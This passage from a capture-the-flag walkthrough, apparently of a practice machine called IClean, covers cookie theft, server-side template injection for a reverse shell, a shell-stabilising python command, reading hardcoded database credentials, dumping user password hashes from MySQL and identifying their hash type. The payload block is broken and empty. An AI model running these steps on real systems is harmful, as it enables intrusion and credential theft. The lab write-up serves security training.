https://substackcdn.com/image/fetch/$s_!Bly-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44b5a911-1801-4aa1-bbf6-03577b10906e_941x809.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>As the session will use the stolen cookie, the page loads as expected.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Mm6H!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa828727d-e683-4ffd-bbb0-37dbc3adac74_865x529.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Mm6H!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa828727d-e683-4ffd-bbb0-37dbc3adac74_865x529.png 424w, https://substackcdn.com/image/fetch/$s_!Mm6H!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa828727d-e683-4ffd-bbb0-37dbc3adac74_865x529.png 848w, https://substackcdn.com/image/fetch/$s_!Mm6H!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa828727d-e683-4ffd-bbb0-37dbc3adac74_865x529.png 1272w, https://substackcdn.com/image/fetch/$s_!Mm6H!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa828727d-e683-4ffd-bbb0-37dbc3adac74_865x529.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Mm6H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa828727d-e683-4ffd-bbb0-37dbc3adac74_865x529.png" width="865" height="529" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a828727d-e683-4ffd-bbb0-37dbc3adac74_865x529.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:529,&quot;width&quot;:865,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;icleandashboardpage.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="icleandashboardpage.png" title="icleandashboardpage.png" srcset="https://substackcdn.com/image/fetch/$s_!Mm6H!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa828727d-e683-4ffd-bbb0-37dbc3adac74_865x529.png 424w, https://substackcdn.com/image/fetch/$s_!Mm6H!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa828727d-e683-4ffd-bbb0-37dbc3adac74_865x529.png 848w, https://substackcdn.com/image/fetch/$s_!Mm6H!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa828727d-e683-4ffd-bbb0-37dbc3adac74_865x529.png 1272w, https://substackcdn.com/image/fetch/$s_!Mm6H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa828727d-e683-4ffd-bbb0-37dbc3adac74_865x529.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Dashboard enumeration</h2><p>Generating an invoice and using the invoice number to generate a QR code creates a link that can be submitted to return a scannable invoice.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eGn5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff941293a-b5a6-47e5-acd0-7ca8a63dbf61_817x739.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eGn5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff941293a-b5a6-47e5-acd0-7ca8a63dbf61_817x739.png 424w, https://substackcdn.com/image/fetch/$s_!eGn5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff941293a-b5a6-47e5-acd0-7ca8a63dbf61_817x739.png 848w, https://substackcdn.com/image/fetch/$s_!eGn5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff941293a-b5a6-47e5-acd0-7ca8a63dbf61_817x739.png 1272w, https://substackcdn.com/image/fetch/$s_!eGn5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff941293a-b5a6-47e5-acd0-7ca8a63dbf61_817x739.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eGn5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff941293a-b5a6-47e5-acd0-7ca8a63dbf61_817x739.png" width="817" height="739" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f941293a-b5a6-47e5-acd0-7ca8a63dbf61_817x739.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:739,&quot;width&quot;:817,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;icleaninvoice.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="icleaninvoice.png" title="icleaninvoice.png" srcset="https://substackcdn.com/image/fetch/$s_!eGn5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff941293a-b5a6-47e5-acd0-7ca8a63dbf61_817x739.png 424w, https://substackcdn.com/image/fetch/$s_!eGn5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff941293a-b5a6-47e5-acd0-7ca8a63dbf61_817x739.png 848w, https://substackcdn.com/image/fetch/$s_!eGn5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff941293a-b5a6-47e5-acd0-7ca8a63dbf61_817x739.png 1272w, https://substackcdn.com/image/fetch/$s_!eGn5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff941293a-b5a6-47e5-acd0-7ca8a63dbf61_817x739.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Observing the resulting POST request in Burpsuite suggests that this may be the vector for obtaining a reverse shell through a Server-Side Template Injection (SSTI).</p><h2>Server-side template injection for a reverse shell</h2><h3>Identifying the Template engine</h3><p>git a The HTTP headers reveal the server is using the <code>Werkzeug/2.3.7</code> utility library for Python, which is common for Flask applications. Flask typically defaults to using <code>Jinja2</code> for templating.</p><ul><li><p><strong>Werkzeug</strong>: Provides the underlying Web Server Gateway Interface (WSGI) functionality and utilities for Flask.</p></li><li><p><strong>Flask</strong>: A web framework that uses Werkzeug and often Jinja2 for templating.</p></li><li><p><strong>Jinja2</strong>: The default template engine used by Flask for rendering HTML templates.</p></li></ul><h3>Testing</h3><p>Using simple payloads can confirm if SSTI is possible. e.g., ``.</p><p>The diagram below from&nbsp;<a href="https://portswigger.net/research/server-side-template-injection">PortsSwigger</a>&nbsp;can help confirm if an SSTI vulnerability is present and also identify the underlying template engine.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SP5P!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b7b984-6420-47b9-9205-cfb7c3546033_640x386.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SP5P!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b7b984-6420-47b9-9205-cfb7c3546033_640x386.png 424w, https://substackcdn.com/image/fetch/$s_!SP5P!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b7b984-6420-47b9-9205-cfb7c3546033_640x386.png 848w, https://substackcdn.com/image/fetch/$s_!SP5P!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b7b984-6420-47b9-9205-cfb7c3546033_640x386.png 1272w, https://substackcdn.com/image/fetch/$s_!SP5P!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b7b984-6420-47b9-9205-cfb7c3546033_640x386.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SP5P!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b7b984-6420-47b9-9205-cfb7c3546033_640x386.png" width="640" height="386" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/21b7b984-6420-47b9-9205-cfb7c3546033_640x386.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:386,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;portswiggerssti.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="portswiggerssti.png" title="portswiggerssti.png" srcset="https://substackcdn.com/image/fetch/$s_!SP5P!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b7b984-6420-47b9-9205-cfb7c3546033_640x386.png 424w, https://substackcdn.com/image/fetch/$s_!SP5P!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b7b984-6420-47b9-9205-cfb7c3546033_640x386.png 848w, https://substackcdn.com/image/fetch/$s_!SP5P!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b7b984-6420-47b9-9205-cfb7c3546033_640x386.png 1272w, https://substackcdn.com/image/fetch/$s_!SP5P!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b7b984-6420-47b9-9205-cfb7c3546033_640x386.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3><strong>Construct the Malicious Payload</strong></h3><p>Assuming Jinja2, and with the help of <a href="https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/">A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (kleiber.me)</a> the following payload was constructed:</p><pre><code>URL-encoding and inputting the payload into the vulnerable parameter and sending the request results in a shell.

&lt;img src="/assets/img/2024/iclean/icleanqrgenhttp.png" alt="icleanqrgenhttp.png" class="auto-resize"&gt;


&lt;img src="/assets/img/2024/iclean/icleannclistener.png" alt="icleannclistener.png" class="auto-resize"&gt;

### Stabilising the shell

The shell can be stabilised with the following python command.

```python
python -c 'import pty; pty.spawn("/bin/bash")'</code></pre><div><hr></div><h1>Lateral movement</h1><h2>Stealing hashes</h2><p>In the present working directory, there is a <code>app.py</code> script. Within it are hardcoded credentials for a database.</p><pre><code><code># Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': '&lt;SNIP&gt;',
    'database': 'capiclean'
</code></code></pre><p>At the start of the script, there is an import for <code>pymysql</code>, confirming the type of database to be MySQL.</p><p>As the Database is running locally, it can be connected to by passing the <code>username</code> and inputting the <code>password</code> when prompted:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!W6e4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e229a3c-c320-4e9a-a63f-c39fecbf1639_729x322.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!W6e4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e229a3c-c320-4e9a-a63f-c39fecbf1639_729x322.png 424w, https://substackcdn.com/image/fetch/$s_!W6e4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e229a3c-c320-4e9a-a63f-c39fecbf1639_729x322.png 848w, https://substackcdn.com/image/fetch/$s_!W6e4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e229a3c-c320-4e9a-a63f-c39fecbf1639_729x322.png 1272w, https://substackcdn.com/image/fetch/$s_!W6e4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e229a3c-c320-4e9a-a63f-c39fecbf1639_729x322.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!W6e4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e229a3c-c320-4e9a-a63f-c39fecbf1639_729x322.png" width="729" height="322" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2e229a3c-c320-4e9a-a63f-c39fecbf1639_729x322.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:322,&quot;width&quot;:729,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;icleanmysqlauth.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="icleanmysqlauth.png" title="icleanmysqlauth.png" srcset="https://substackcdn.com/image/fetch/$s_!W6e4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e229a3c-c320-4e9a-a63f-c39fecbf1639_729x322.png 424w, https://substackcdn.com/image/fetch/$s_!W6e4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e229a3c-c320-4e9a-a63f-c39fecbf1639_729x322.png 848w, https://substackcdn.com/image/fetch/$s_!W6e4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e229a3c-c320-4e9a-a63f-c39fecbf1639_729x322.png 1272w, https://substackcdn.com/image/fetch/$s_!W6e4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e229a3c-c320-4e9a-a63f-c39fecbf1639_729x322.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Listing the databases finds one named <code>capiclean</code>.</p><pre><code><code>mysql&gt; SHOW DATABASES;
SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| capiclean          |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)
</code></code></pre><p>Switching to <code>capiclean</code> and listing tables reveals a table of <code>users</code>.</p><pre><code><code>mysql&gt; USE capiclean;
USE capiclean;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql&gt; show tables;
show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests      |
| services            |
| users               |
+---------------------+
3 rows in set (0.00 sec)
</code></code></pre><h3>Dumping database table</h3><p>Selecting all rows from the <code>users</code> table reveals two rows with hashed passwords.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jssA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f4a8db7-b61b-4ee4-8b52-78434cdcc42e_971x150.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jssA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f4a8db7-b61b-4ee4-8b52-78434cdcc42e_971x150.png 424w, https://substackcdn.com/image/fetch/$s_!jssA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f4a8db7-b61b-4ee4-8b52-78434cdcc42e_971x150.png 848w, https://substackcdn.com/image/fetch/$s_!jssA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f4a8db7-b61b-4ee4-8b52-78434cdcc42e_971x150.png 1272w, https://substackcdn.com/image/fetch/$s_!jssA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f4a8db7-b61b-4ee4-8b52-78434cdcc42e_971x150.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jssA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f4a8db7-b61b-4ee4-8b52-78434cdcc42e_971x150.png" width="971" height="150" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4f4a8db7-b61b-4ee4-8b52-78434cdcc42e_971x150.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:150,&quot;width&quot;:971,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;icleandbhashes.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="icleandbhashes.png" title="icleandbhashes.png" srcset="https://substackcdn.com/image/fetch/$s_!jssA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f4a8db7-b61b-4ee4-8b52-78434cdcc42e_971x150.png 424w, https://substackcdn.com/image/fetch/$s_!jssA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f4a8db7-b61b-4ee4-8b52-78434cdcc42e_971x150.png 848w, https://substackcdn.com/image/fetch/$s_!jssA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f4a8db7-b61b-4ee4-8b52-78434cdcc42e_971x150.png 1272w, https://substackcdn.com/image/fetch/$s_!jssA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f4a8db7-b61b-4ee4-8b52-78434cdcc42e_971x150.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h2>Cracking the hash</h2><p>The hash is most likely a <code>SHA-256</code>.</p><pre><code><code>The following 8 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   1400 | SHA2-256                                                   | Raw Hash
  17400 | SHA3-256                                                   | Raw Hash
  11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian           | Raw Hash
   6900 | GOST R 34.11-94                                            | Raw Hash
  17800 | Keccak-256                                                 | Raw Hash
   1470 | sha256(utf16le($pass))                                     | Raw Hash
  20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
  21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated

Please specify the hash-mode with -m [hash-mode].

